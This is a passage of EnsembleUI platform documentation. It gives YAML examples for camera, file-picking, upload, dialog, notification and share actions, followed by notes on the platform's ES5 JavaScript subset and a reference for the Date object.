capture or selection is done. + +### Properties + +| Property | Type | Description | +| :--------- | :----- | :--------------------------------------------------------------------------------- | +| id | string | Give the camera an ID, allows you to bind to its result. e.g. ${cameraId.files...} | +| onComplete | action | Execute an Action after completing capturing media | +| onClose | action | Execute an Action on camera close | +| onCapture | action | Execute an Action on each capture | +| options | object | different options to chose for `openCamera` action. [see properties](#) | + +#### properties.options + +| Property | Type | Description | +| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------- | +| mode | string | Modes of camera. It can be photo only i.e allows to capture just photo. Similarly video or can be both. `photo` `video` `both` | +| initialCamera | string | Initialize either camera, back or front. `back` `front` | +| allowGalleryPicker | boolean | Allow users to pick media from gallery. Default (true). | +| allowCameraRotate | boolean | Allow users rotate camera i.e back and front. Default (true). | +| allowFlashControl | boolean | Allow users to control flash options. Default (true). | +| preview | boolean | If set true, users can view captured/selected media. | +| maxCount | number | It used to control number of media that can be captured/selected | +| maxCountMessage | string | Custom message to show when captured/selected media is greater than maxCount | +| minCount | number | It used to control number of media that can be captured/selected | +| minCountMessage | string | Custom message to show when captured/selected media is greater than minCount | +| permissionDeniedMessage | string | Set custom message when access to camera is denied | +| nextButtonLabel | string | Set custom label on next button. | +| cameraRotateIcon | widget | Set custom icon for camera rotate button. [see here](#icon-widget) | +| galleryPickerIcon | widget | Set custom icon for gallery picker button. [see here](#icon-widget) | +| focusIcon | widget | Set custom icon for focus node. | +| assistAngle | object | Show assist message whenever angle goes below minAngle or above minAngle. [see properties](#values-for-optionsassistangle) | +| assistSpeed | object | Show assist message whenever camera is moving faster than maxSpeed. [see properties](#values-for-optionsassistspeed) | +| autoCaptureInterval | integer | If set any number n, on each n interval camera will capture | + +##### Values for options.assistAngle + +| Property | Type | Description | +| :------------------------- | :----- | :-------------------------------------------- | +| minAngle | number | Minimum angle | +| maxAngle | number | Maximum Angle | +| maxAngleassistAngleMessage | number | Custom message to show when condition is hit. | + +##### Values for options.assistSpeed + +| Property | Type | Description | +| :----------------- | :----- | :-------------------------------------------- | +| maxSpeed | number | Maximum speed in km/hr. | +| assistSpeedMessage | number | Custom message to show when condition is hit. | + +**Usage Examples** + + + +```yaml +View: + header: + title: "Action: openCamera" + styles: + scrollableView: true + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Open Camera + onTap: + openCamera: + id: cameraId + + options: + mode: photo + + - Conditional: + conditions: + - if: ${cameraId.files.length > 0} + Carousel: + item-template: + data: ${cameraId.files} + name: file + template: + Image: + source: ${file.path} +``` + + + +`openCamera` also comes with options + + + +```yaml +- Button: + label: Camera with options + onTap: + openCamera: + id: cameraId1 + options: + allowGalleryPicker: true + allowCameraRotate: true + allowFlashControl: true + preview: true + maxCount: 2 + mode: photo + +- Conditional: + conditions: + - if: ${cameraId1.files.length > 0} + Carousel: + item-template: + data: ${cameraId1.files} + name: file + template: + Image: + source: ${file.path} +``` + + + +`openCamera` also comes with advance options + +- assistAngle, show message when phone angle goes below min angle or goes beyond max angle. +- assistSpeed, show message when phone goes beyond max speed. +- minCount/maxCount, type is a number and can also be set to `minCount: ${ensemble.storage.xyz}` to get a dynamic value + + + +```yaml +- Button: + label: Camera with advance options. + onTap: + openCamera: + options: + allowGalleryPicker: true + allowCameraRotate: true + allowFlashControl: true + preview: true + + assistAngle: + minAngle: 80 + maxAngle: 100 + assistAngleMessage: Please try to keep angle approx. 90 degree. + + assistSpeed: + maxSpeed: 10 + assistSpeedMessage: Please try to speed below 10 km/hr. +``` + + + +You can capture and upload to specified API + + + +```yaml + - Button: + label: Capture and upload + onTap: + openCamera: + id: captureMedia + onComplete: + uploadFiles: + id: uploader + files: ${captureMedia.files} + uploadApi: fileUploadApi + fieldName: files + inputs: + url: + + + - Markdown: + text: ${uploader.body} + +API: + fileUploadApi: + inputs: + - url + uri: ${url} + method: POST +``` + + + +To learn more about openCamera functionalities, test it out here in [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/USuOaOZApSgzE2uVrqlv) app. + +--- + +# pickFiles + +pickFiles action enables users to select files from their device for further processing or usage within the app, offering a seamless way to choose and work with files, enhancing user interactions and content management capabilities. + +### Properties + +| Property | Type | Description | +| :---------------- | :------ | :--------------------------------------------------------------------------------------------------------------- | +| id | string | Give the picker an ID allows you to bind to its result, which can be access anywhere e.g. ${filePicker.files...} | +| allowMultiple | boolean | Allow users to pick multiple files (default False) | +| allowCompression | boolean | It will allow media to apply the default OS compression (default True) | +| allowedExtensions | array | Allow files with specific extension e.g jpg, png, pdf | + + +### Ensemble File object +The files picked using `pickFiles` or created using camera using `openCamera` all shared the same following object. + + +| Property | Type | Description | +|:---|:---|:---| +| name | string | name of the file, could be null | +| size | integer | size of file in bytes, could be null | +| ext | string | extension of the file, could be null | +| path | string | file path, null on web, available in native mobile app | +| bytes | dynamic | if path is null i.e for web, we'll have bytes of files | + +> [NOTE] +> Path will be null when you are developing in the web studio. You'll have the path in your native mobile build or ensemble preview / go app. + + +**Example** + + + +```yaml +View: + # Optional - style the screen + styles: + scrollableView: true + + # Specify the body of the screen + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: | + Use the `uploadFiles` action upload files to specify `uploadApi`. + + Then use the `onComplete` properties to execute other actions when upload is successful. + + - Button: + label: Pick Files + onTap: + pickFiles: + id: picker + + - Button: + label: Upload Picked files + onTap: + executeCode: + body: | + //@code + loading.visible = true; + + onComplete: + uploadFiles: + id: fileUploader + files: ${picker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + loading.visible = false; + onError: | + //@code + + loading.visible = false; + maxFileSize: 100 + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${fileUploader.body} + + - Progress: + display: circular + id: loading + visible: false + + - Divider + + - Markdown: + text: | + Chain multiple file actions to pick files and upload them in one go + - Using `pickFiles` to pick file based on platform picker + - Using `uploadFiles` to upload selected files from file picker + + - Button: + label: Pick & Upload + onTap: + pickFiles: + id: filePicker + onComplete: + uploadFiles: + files: ${filePicker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + ensemble.debug('File uploaded'); + + - Divider: + + - Markdown: + text: | + `pickFiles` also comes with option such as: + + - `allowMultiple` : To allow muliple file selection from gallery picker default (false) + - `allowCompression` : It will allow media to apply the default OS compression (default True) + - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... + + `uploadFiles` also comes with option such as: + + - `files` : Pass the files that needs to upload e.g ${filePicker.files} + + - `fieldName` : Field name that your server is expecting. (default files). + + - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files + - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. + + - Row: + styles: { mainAxis: spaceBetween, crossAxis: center } + children: + - Button: + label: Multiple Images + onTap: + pickFiles: + id: images + allowMultiple: true + allowCompression: false + allowedExtensions: + - jpg + - png + + - Text: + text: ${images.files.length} + - Button: + label: Upload Multiple images + onTap: + uploadFiles: + id: imageUploader + uploadApi: fileUploadApi + files: ${images.files} + fieldName: files + inputs: + url: https://en09cdal5asztm.x.pipedream.net + maxFileSize: 100 # in kb + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${imageUploader.body} + - Divider + + - Markdown: + text: | + ### Background file upload + - Pick and Upload files in background. + - In unmetered connection (wifi/lan) + - Also show notification + - *Not supported on web / studio. + + - Button: + label: Background upload + onTap: + pickFiles: + id: bgFilePicker + onComplete: + uploadFiles: + uploadApi: fileUploadApi + files: ${bgFilePicker.files} + inputs: + url: https://en09cdal5asztm.x.pipedream.net + id: bgUploader + options: + backgroundTask: true + showNotification: true + networkType: unmetered + + - Divider: + + - Markdown: + text: | + _Side Note: If you are using default uploadURL it's using RequestBin_ + + _RequestBin has maxFileSize of __100 kb__ above it will fail._ + + _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ + + - Divider: + +API: + fileUploadApi: + inputs: + - url + uri: ${url} + method: POST +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) including uploadFiles example. + +--- + +# rateApp + +The "Rate Us" functionality is available only for iOS devices when the app is in production. + +```yaml +View: + header: + title: 'Action: RateApp' + + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: Works only for iOS when app is in production (will not work for Ensemble Go while on TestFlight) + - Button: + label: Rate Us + onTap: + rateApp: +``` +The rateApp action is triggered when the "Rate Us" button is tapped. It is to handle the logic for prompting users to rate the app. + +--- + +# requestNotificationAccess + +requestNotificationAccess action prompts users to grant permission for the app to send notifications to their device, enabling personalized alerts and updates, enhancing user engagement, and ensuring timely delivery of relevant information within the application. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------- | +| onAccept | action | Execute an Action when notification permission has been granted | +| onReject | action | Execute an Action when notification permission has been rejected | + +**Example** + +The first important thing to consider while implementing notifications is to make sure that its authorized by user itself. Thus first step is to ensure complete access to ensemble. let us see how it works + + + +```yaml +View: + header: + title: "Action: showNotification" + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: Hi there! + - Button: + label: Checkout Ensemble Kitchen Sink + onTap: + requestNotificationAccess: + onAccept: + showNotification: + title: A Notification + body: As you can see me working here +``` + + + +When user clicks on button browser pop-up asks for permission and as you allow it notification can be seen at bottom-right corner of screen. You can refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/NiF1zG2VKspdlxNM2F1n?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). + +**Output** + +![Alt text](public/images/actions/image-.png) + +![Alt text](public/images/actions/image--2.png) + +--- + +# Share + +Using the native sharing capabilities of the device to provide users with the ability to share a specific piece of content. + +```yaml + - Button: + label: Open Share Sheet + onTap: + share: + title: EnsembleUI + text: https://ensembleui.com/ + - Text: + text: Works only on Native iOS and Android +``` +The share action is triggered when the "Open Share Sheet" button is tapped. It typically opens the native share sheet on the device, allowing users to share content. In this case, it shares a title ("EnsembleUI") and a URL ("https://ensembleui.com/"). + +--- + +# showDialog + +showDialog action triggers the display of a modal dialog box within the app, presenting users with important information, notifications, or customizable content while pausing the main app flow, ensuring clear and focused communication with users. + +### Properties + +| Property | Type | Description | +| :-------------- | :----- | :------------------------------------------------------------------------------ | +| widget | widget | Return an inline widget or specify a custom widget's name to use in the dialog. | +| options | object | [see properties](#propertiesoptions) | +| onDialogDismiss | action | Execute an Action when the dialog is dismissed. | + +#### properties.options + +| Property | Type | Description | +| :--------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| minWidth | integer | | +| maxWidth | integer | | +| minHeight | integer | | +| horizontalOffset | number | Offset the dialog's position horizontally, with -1.0 for the screen's left and 1.0 for the screen's right. (default is 0 for centering horizontally) minimum `-1.0` and maximum `1.0` | +| verticalOffset | number | Offset the dialog's position vertically, with -1.0 for the screen's top and 1.0 for the screen's bottom. (default is 0 for centering vertically) minimum `-1.0` and maximum `1.0` | +| style | string | Render the dialog with a default style. You can also specify 'none' and control your own styles in your widget. `default` `none` | + +**Example** + +Here we are gonna see how we can + + + +```yaml +View: + header: + title: Dialog + onLoad: + showDialog: + widget: MyStartingDialog + + body: + Column: + styles: { margin: 10, gap: 5 } + children: + # use inline widget + - Text: + text: Your dialog can also be an inline widget + - Button: + label: Show Dialog + onTap: + showDialog: + widget: + Text: + text: This dialog declares the widget inline and uses the default style. + + - Spacer: + styles: + size: 20 + + # use custom styling + - Text: + text: You can customize the dialog style + - Button: + label: Show Custom Dialog + onTap: + showDialog: + widget: MyCustomDialog + options: + # no default style - zero margin/padding, no background color + style: none + # move it up half way between the top and the center of the screen + verticalOffset: -0.5 + +# Custom Widget +MyStartingDialog: + body: + Column: + styles: + gap: 10 + children: + - Text: + text: Welcome to Ensemble + styles: + fontSize: 16 + fontWeight: bold + - Text: + text: This dialog pops up when the user first visits the page. + - Button: + label: Close dialog + onTap: closeAllDialogs + +MyCustomDialog: + body: + Column: + styles: + gap: 10 + backgroundColor: 0xffD7BFA8 + borderRadius: 10 + margin: 20 + padding: 20 + children: + - Text: + text: |- + This dialog set its own margin/padding and background color. + + It also offset the dialog position vertically. +``` + +Try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HRIajN2i8bDDVTL32j8m?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + + + +**Output** + +![Alt text](public/images/actions/image--4.png) + +![Alt text](public/images/actions/image--5.png) + +**Example with inputs** + +We can also make use of inputs property for `showDialog` action to pass any input parameters to be used with dialog. Lets look at the previous example but this time with some input values. + +```yaml +View: + header: + title: Dialog + onLoad: + showDialog: + widget: MyStartingDialog + body: + Column: + styles: { margin: 10, gap: 5 } + children: + - Text: + text: You can customize the dialog style and provide inputs as well + - Button: + label: Show Custom Dialog + onTap: + showDialog: + widget: + MyCustomDialog: + inputs: + name: Peter + options: + # no default style - zero margin/padding, no background color + style: none + # move it up half way between the top and the center of the screen + verticalOffset: -0.5 + + onDialogDismiss: | + //@code + console.log("dialog dismissed"); + +MyCustomDialog: + inputs: + - name + body: + Column: + styles: + gap: 10 + backgroundColor: 0xffD7BFA8 + borderRadius: 10 + margin: 20 + padding: 20 + children: + - Text: + text: |- + Hi ${name} + This dialog set its own margin/padding and background color. + + It also offset the dialog position vertically. +``` + +**Explanation** + +- In the code for showDialog we are passing an input `name` with value `Peter` which can be seen clearly in the output. + +**Output** + +![Alt text](public/images/actions/image--1.png) + +![Alt text](public/images/actions/image--3.png) + +--- + +# showNotification + +showNotification action triggers the display of local notifications within the app, notifying users of important events or information even when the app is in the background or closed, enhancing user engagement and ensuring timely communication with users. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :-------------------- | +| title | string | Title of notification | +| body | string | Body of notification | + +**Example** + +You can refer [here](#requestnotificationaccess) for example related to notification. Can also refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/zbIn4f6tD3yQkC1MJRj1?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). + +--- + +# uploadFiles + +uploadFiles action allows users to select and upload files from their device to the app, enabling easy data transfer and content sharing, supporting various file formats, and enhancing the app's versatility and user engagement. + +### Properties + +| Property | Type | Description | +| :--------- | :----- | :----------------------------------------------------------------------------------------- | +| id | string | Give the uploadApi an ID, allows you to bind to its result. e.g. ${apiId.body...} | +| uploadApi | string | Enter the name of your defined API | +| onComplete | action | Execute another Action upon successful upload of files | +| onError | action | Execute an Action when uploader fails with error(s) | +| inputs | array | Define the list of input names that upload API accepts | +| fieldName | string | Field name that your server is expecting (default files) | +| files | string | Binded files from sources like camera or picker. e.g ${filePicker.files}, ${camerId.files} | +| options | object | [see properties](#propertiesoptions) | + +#### properties.option + +| Property | Type | Description | +| :--------------------- | :------ | :---------------------------------------------------------------------------------------------------------------------- | +| maxFileSize | integer | File size that is allowed (default 100 mb), If multiple is allow then sum of all files | +| overMaxFileSizeMessage | string | Error message to show when selected files size is above maxFileSize. | +| backgroundTask | boolean | If set true, uploading will be done in background. | +| showNotification | boolean | If set true, progress will be show in notification bar. | +| networkType | object | An enumeration of network types. `connected` `metered` `not_required` `not_roaming` `unmetered` `temporarily_unmetered` | + +**Example** + + + +```yaml +View: + # Optional - style the screen + styles: + scrollableView: true + + # Optional - set the header for the screen + header: + title: "Action: uploadFiles" + + # Specify the body of the screen + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: | + Use the `uploadFiles` action upload files to specify `uploadApi`. + + Then use the `onComplete` properties to execute other actions when upload is successful. + + - Button: + label: Pick Files + onTap: + pickFiles: + id: picker + + - Button: + label: Upload Picked files + onTap: + executeCode: + body: | + //@code + loading.visible = true; + + onComplete: + uploadFiles: + id: fileUploader + files: ${picker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + loading.visible = false; + onError: | + //@code + + loading.visible = false; + maxFileSize: 100 + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${fileUploader.body} + + - Progress: + display: circular + id: loading + visible: false + + - Divider + + - Markdown: + text: | + Chain multiple file actions to pick files and upload them in one go + - Using `pickFiles` to pick file based on platform picker + - Using `uploadFiles` to upload selected files from file picker + + - Button: + label: Pick & Upload + onTap: + pickFiles: + id: filePicker + onComplete: + uploadFiles: + files: ${filePicker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + ensemble.debug('File uploaded'); + + - Divider: + + - Markdown: + text: | + `pickFiles` also comes with option such as: + + - `allowMultiple` : To allow muliple file selection from gallery picker default (false) + - `allowCompression` : It will allow media to apply the default OS compression (default True) + - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... + + `uploadFiles` also comes with option such as: + + - `files` : Pass the files that needs to upload e.g ${filePicker.files} + + - `fieldName` : Field name that your server is expecting. (default files). + + - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files + - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. + + - Row: + styles: { mainAxis: spaceBetween, crossAxis: center } + children: + - Button: + label: Multiple Images + onTap: + pickFiles: + id: images + allowMultiple: true + allowCompression: false + allowedExtensions: + - jpg + - png + + - Text: + text: ${images.files.length} + - Button: + label: Upload Multiple images + onTap: + uploadFiles: + id: imageUploader + uploadApi: fileUploadApi + files: ${images.files} + fieldName: files + inputs: + url: https://en09cdal5asztm.x.pipedream.net + maxFileSize: 100 # in kb + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${imageUploader.body} + - Divider + + - Markdown: + text: | + ### Background file upload + - Pick and Upload files in background. + - In unmetered connection (wifi/lan) + - Also show notification + - *Not supported on web / studio. + + - Button: + label: Background upload + onTap: + pickFiles: + id: bgFilePicker + onComplete: + uploadFiles: + uploadApi: fileUploadApi + files: ${bgFilePicker.files} + inputs: + url: https://en09cdal5asztm.x.pipedream.net + id: bgUploader + options: + backgroundTask: true + showNotification: true + networkType: unmetered + + - Divider: + + - Markdown: + text: | + _Side Note: If you are using default uploadURL it's using RequestBin_ + + _RequestBin has maxFileSize of __100 kb__ above it will fail._ + + _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ + + - Divider: + +API: + fileUploadApi: + inputs: + - url + uri: ${url} + method: POST +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# Add logic using JavaScript + +Welcome to the Ensemble Javascript manual. It provides how-to guides, API reference documentation and examples. + +## Limitations + +Ensemble's javascript is a limited subset of the javascript you may be used to. It is used primarily for manipulating the JSON response from the server, performing UI logic when handling events or writing re-usable functions. + +Following are the key limitations of the javascript in Ensemble. + +- Only supports ES5. Which means that it does _not_ support any of the ES6 features listed [here](https://www.w3schools.com/js/js_es6.asp). There is _no_ support for arrow function synatx (=>), let keyword and many other features you may be used to. +- No support for importing libraries. Limited to what's provided outside the box. +- No support for `.prototype` or defining new objects. This may come in the future. + +Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of these capabilities or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) + +## Where is Javascript code used? + +Javascript is the language to build your logic in Ensemble. It is used either as code blocks or as inline expressions. We discuss both below. + +### Code Block + +Each code block must start with `//@code` as the first line. This tells the platform to process the text as code. + +- Use code blocks to handling events or processing API responses. +- Each code block must be in the `body` of the `executeCode` action. + +See below the two use cases where code blocks are used. + +#### Handling Events + +Specified as the `executeCode` action. +Example - + +```js + Button: + label: Click Me + onTap: + executeCode: + body: | + //@code + myText.text = 'tapped out'; +``` + +#### Process API responses + +Another common place code blocks are used is when the API response has to be handled to extract values to be set on widgets or response to be set so that one or more `item-template` on the page may get the data in the format that they expect. See both examples below. +Example 1: set widget property in API response + +```js + API: + getDummyData: + uri: https://dummyjson.com/users/1 + method: GET + onResponse: + executeCode: + body: | + //@code + myText.text = 'Got Response!'; +``` + +Example 2: processing response and setting it for the `item-template` that are bound to this API to use + +```js + API: + getDummyData: + uri: https://dummyjson.com/users/1 + method: GET + onResponse: + executeCode: + body: | + //@code + //this will replace the response and be used by the item-templates that bind to this API + response.body.data = [{"field1:"value1"}]; +``` + +### Inline Expressions and bindings + +Use inline expressions for dynamically assigning values to widget properties. Inline expressions automatically update the properties of widgets by `binding` them to API responses or template data. + +More details coming soon... TBD + +## Referencing Ensemble widgets and their properties inside javascript + +All widgets on a screen can be referenced within the code block by their `id` field. This also means that ids need to be unique on a screen. Don't set id on your re-usable custom widgets. +No need to call a function, simply use the id of the widget and start accessing its properties. For example, if your widget has `id: myText`, you can reference it in code block or inside an expression as just `myText`. See below. + +```js + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + id: myText + text: Hi there! + - Button: + label: Click Me + onTap: + executeCode: + body: | + //@code + myText.text = 'tapped out'; +``` + +Widgets within an item-template can be referenced by their index in the array using the `this.selectedItemIndex` syntax. +For example. + +```js + ListView: + id: listView + onItemTap: + navigateScreen: + name: ListView - Detail Page + inputs: + doc_type: ${getPeople.body.users[this.selectedItemIndex]} + styles: {expanded: true } + itemTemplate: + data: ${getPeople.body.users} + name: users + template: + MyRow: + inputs: + p: ${users} +``` + +## Core Libraries + +- [The `ensemble` object](#ensemble-objects-and-their-properties) +- [String](#string-functions) +- [Numbers](#number-functions) +- [Date](#javascript-date) +- [Object and Array](#object) +- [Globals](#consolelog) +- [Math](#javascript-math) +- [JSON](#json) +- [JsonPath](#jsonpath) + +## Common Errors and Logging/Debugging + +TBD + +--- + +# JavaScript Date +The Date object is a built-in JavaScript object that represents a single moment in time, based on the number of milliseconds since January 1, 1970, 00:00:00 UTC. + +- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities +- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) + +## Constructors + +### Date() +Creates a new Date object with the current date and time. + +Example: +```js +var date = new Date(); +console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" +``` + +### Date(milliseconds) +Creates a new Date object with the time set to the number of milliseconds since January 1, 1970, 00:00:00 UTC. + +Example: +```js +var date = new Date(1622633347521); +console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" +``` +### Date(dateString) +Creates a new Date object with the time set to the value specified by the dateString. + +**Note: The function parses a subset of ISO 8601, which includes the subset accepted by RFC 3339.** + +The accepted inputs are currently: + +* A date: A signed four-to-six digit year, two digit month and two digit day, optionally separated by - characters. Examples: "19700101", "-0004-12-24", "81030-04-01". +* An optional time part, separated from the date by either T or a space. The time part is a two digit hour, then optionally a two digit minutes value, then optionally a two digit seconds value, and then optionally a '.' or ',' followed by at least a one digit second fraction. The minutes and seconds may be separated from the previous parts by a ':'. Examples: "12", "12:30:24.124", "12:30:24,124", "123010.50". +* An optional time-zone offset part, possibly separated from the previous by a space. The time zone is either 'z' or 'Z', or it is a signed two digit hour part and an optional two digit minute part. The sign must be either "+" or "-", and cannot be omitted. The minutes may be separated from the hours by a ':'. Examples: "Z", "-10", "+01:30", "+1130". +* This includes the output of both toString and toIso8601String, which will be parsed back into a DateTime object with the same time as the original. + +The result is always in either local time or UTC. If a time zone offset other than UTC is specified, the time is converted to the equivalent UTC time. + +Examples of accepted strings: + +* "2012-02-27" +* "2012-02-27 13:27:00" +* "2012-02-27 13:27:00.123456789z" +* "2012-02-27 13:27:00,123456789z" +* "20120227 13:27:00" +* "20120227T132700" +* "20120227" +* "+20120227" +* "2012-02-27T14Z" +* "2012-02-27T14+00:00" +* "-123450101 00:00:00 Z": in the year -12345. +* "2002-02-27T14:00:00-0500": Same as "2002-02-27T19:00:00Z" + +This method accepts out-of-range component values and interprets them as overflows into the next larger component. For example, "2020-01-42" will be parsed as 2020-02-11, because the last valid date in that month is 2020-01-31, so 42 days is interpreted as 31 days of that month plus 11 days into the next month. + +Example: +```js +var date = new Date("2022-06-02T10:49:07.521Z"); +console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" +``` +### Date(year, month[, day[, hour[, minutes[, seconds[, milliseconds]]]]]) +Creates a new Date object with the specified date and time components. The month parameter is 0-indexed (0 for January, 1 for February, etc.). + +Example: +```js +var date = new Date(2022, 5, 2, 10, 49, 7, 521); +console.log(date.toString()); // Example output: "Thu Jun 02 2022 10:49:07 GMT+0200 (Central European Summer Time)" +``` +## Methods + +### Date.UTC(year, month[, day[, hour[, minutes[, seconds[, milliseconds]]]]]) +Returns the number of milliseconds since January 1, 1970, 00:00:00 UTC for the specified date and time components. + +Example: +```js +var utc = Date.UTC(2022, 5, 2, 10, 49, 7, 521); +console.log(utc); // Example output: 1654259347521 +``` +### getTime() +Returns the number of milliseconds since January 1, 1970, 00:00:00 UTC. + +Example: +```js +var date = new Date(); +var time = date.getTime(); +console.log(time); // Example output: 1622633347521 +``` +### getFullYear() +Returns the year according to the local time. + +Example: +```js +var date = new Date(); +var year = date.getFullYear(); +console.log(year); // Example output: 2022 +``` +### getMonth() +Returns the month according to the local time (0-indexed). + +Example: +```js +var date = new Date(); +var month = date.getMonth(); +console.log(month); // Example output: 5 (for June) +``` +### getDate() +Returns the day of the month according to the local time. + +Example: +```js +var date = new Date(); +var dayOfMonth = date.getDate(); +console.log(dayOfMonth); // Example output: 2 +``` +### getHours() +An integer, between 0 and 23, representing the hours for the given date according to local time. + +Example: +```js +var birthday = new Date('March 13, 08 04:20'); +console.log(birthday.getHours());// Expected output: 4 +``` +### getMinutes() +Returns the minutes according to the local time. + +Example: +```js +var date = new Date(); +var minutes = date.getMinutes(); +console.log(minutes); // Example output: 49 +``` +### getSeconds() +Returns the seconds according to the local time. + +Example: +```js +var date = new Date(); +var seconds = date.getSeconds(); +console.log(seconds); // Example output: 7 +``` +### getMilliseconds() +Returns the milliseconds according to the local time. + +Example: +```js +var date = new Date(); +var milliseconds = date.getMilliseconds(); +console.log(milliseconds); // Example output: 521 +``` +### getDay() +Returns the day of the week according to the local time. + +Example: +```js +var date = new Date(); +var dayOfWeek = date.getDay(); +console.log(dayOfWeek); // Example output: 4 (for Thursday) +``` +### toISOString() +Returns the Date object as a ISO8601 string. It does not support internationalized strings. +This string can be parsed back into the Date object using the parse() method + +Example: +```js +var event = new Date('2023-11-02 17:07:35.053068'); +var str = date.toISOString() +console.log(str); // Example output: "2023-11-03T00:07:35.053068Z" +``` +### toJSON() +Returns the Date object as an ISO 8601 formatted string in UTC. + +Example: +```js +var date = new Date(); +var jsonString = date.toJSON(); +console.log(jsonString); // Example output: "2022-06-02T10:49:07.521Z" +``` +### toLocaleDateString() +Returns the date formatted with locale conventions. +- locale (optional): A string with a BCP 47 language tag that forces a specific locale to be used. If no locale is passed in, Ensemble will automatically use the user-detected locale. + +Example: +```js +var event = new Date('2023-11-02T17:07:35.053Z'); + +// "11/2/2023" (US) or "2/11/2023" (UK) depending on detected locale +console.log(event.toLocaleDateString()); + +// Force a locale (British English). Output 2/11/2023 +console.log(event.toLocaleDateString('en-GB'); +``` + +### toLocaleTimeString() +Returns the time portion of the Date object as a string, using locale conventions. +- locale (optional): A string with a BCP 47 language tag that forces a specific locale to be used. If no locale is passed in, Ensemble will automatically use the user-detected locale. + +```js +var event = new Date('2023-11-02T17:07:35.053Z'); +var str = event.toLocaleTimeString(); + +// output: "5:07:35 PM" or "17:07:35" depending on the detected locale +console.log(str); + +// force es locale, outputing "17:07:35" +console.log(event.toLocaleTimeString("es")); + +``` + +### toLocaleString() +Returns the full date and time according to locale-specific conventions. +- locale (optional): A string with a BCP 47 language tag that forces a specific locale to be used. If no locale is passed in, Ensemble will automatically use the user-detected locale. + +```js +var event = new Date('2023-11-02T17:07:35.053Z'); + +// output "11/2/2023, 5:07:35 PM" or "2/11/2023, 17:07:35" depending on detected locale +console.log(event.toLocaleString()); + +// force a locale, outputing "2/11/2023, 17:07:35" +console.log(event.toLocaleString("es"); +``` + +### toString() +Returns the Date object as a human readable string. It does not support internationalized strings. +This string can be parsed back into the Date object using the parse() method + +Example: +```js +var date = new Date(); +var str = date.toString() +console.log(str); // Example output: "2023-11-02 17:03:32.094453" +``` +### valueOf() +Returns the primitive value of the Date object, which is the number of milliseconds since midnight of January 1, 1970 UTC. + +Example: +```js +var event = new Date('2023-11-02T17:07:35.053Z'); +var val = event.valueOf(); +console.log(val); // Example output: 1698947255053 +``` + +### setTime(timeValue) +Sets the Date object to the time represented by the number of milliseconds since January 1, 1970, 00:00:00 UTC. + +Example: +```js +var date = new Date(); +date.setTime(1622633347521); +console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" +``` +### setDate() +Description: Sets the day of the month for a specified date according to local time. +Syntax: dateObj.setDate(dayValue) +Parameters: +dayValue: An integer from 1 to 31, representing the day of the month. +Example: +```js +var date = new Date(); +date.setDate(15); +``` +### setMonth() +Description: Sets the month for a specified date according to local time. +Syntax: dateObj.setMonth(monthValue) +Parameters: +monthValue: An integer from 0 (January) to 11 (December) representing the month. +Example: +```js +var date = new Date(); +date.setMonth(5); // Sets the month to June +``` +### setFullYear() +Description: Sets the full year for a specified date according 